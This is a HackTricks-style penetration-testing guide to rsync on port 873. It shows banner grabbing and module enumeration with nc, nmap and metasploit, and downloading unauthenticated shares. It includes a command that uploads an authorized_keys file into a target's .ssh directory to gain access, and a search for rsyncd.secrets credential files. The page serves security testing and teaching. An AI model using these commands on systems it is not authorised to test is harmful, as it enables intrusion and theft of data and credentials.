hacktricks/pentesting/873-pentesting-rsync.md

97 lines
4.6 KiB
Markdown
Raw Normal View History

# 873 - Pentesting Rsync
## **Basic Information**
2021-11-30 16:46:07 +00:00
> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
From [wikipedia](https://en.wikipedia.org/wiki/Rsync).
2021-05-13 17:53:07 +00:00
**Default port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeration
### Banner & Manual communication
```
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerate shared folders**
**An rsync module is essentially a directory share**. These modules **can optionally be protected by a password**. This options lists the available modules and, optionally, determines if the module requires a password to access**:**
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Notice that it could be configured a shared name to not be listed. So there could be something **hidden**.\
2021-11-30 16:46:07 +00:00
Notice that it may be some **shared names** being listed where you need some (different) **credentials** to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those.
### ****[**Brute force**](../brute-force.md#rsync)
### Manual Rsync
2021-11-30 16:46:07 +00:00
Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required** you can **list** a shared folder:
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
2021-11-30 16:46:07 +00:00
And **copy** all **files** to your local machine via the following command:
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
This **recursively transfers all files from the directory** `<shared_name>` on the machine `<IP>`into the `./rsync_shared` directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer.
2021-11-30 16:46:07 +00:00
If you **have credentials** you can **list/download** a **shared name** using (the password will be prompted):
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
2021-11-30 16:46:07 +00:00
You could also **upload** some **content** using rsync (for example, in this case we can upload an _**authorized\_keys**_ file to obtain access to the box):
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Find the rsyncd configuration file:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Inside the config file sometimes you could find the parameter _secrets file = /path/to/file_ and this file could contains usernames and passwords allowed to authenticate to rsyncd.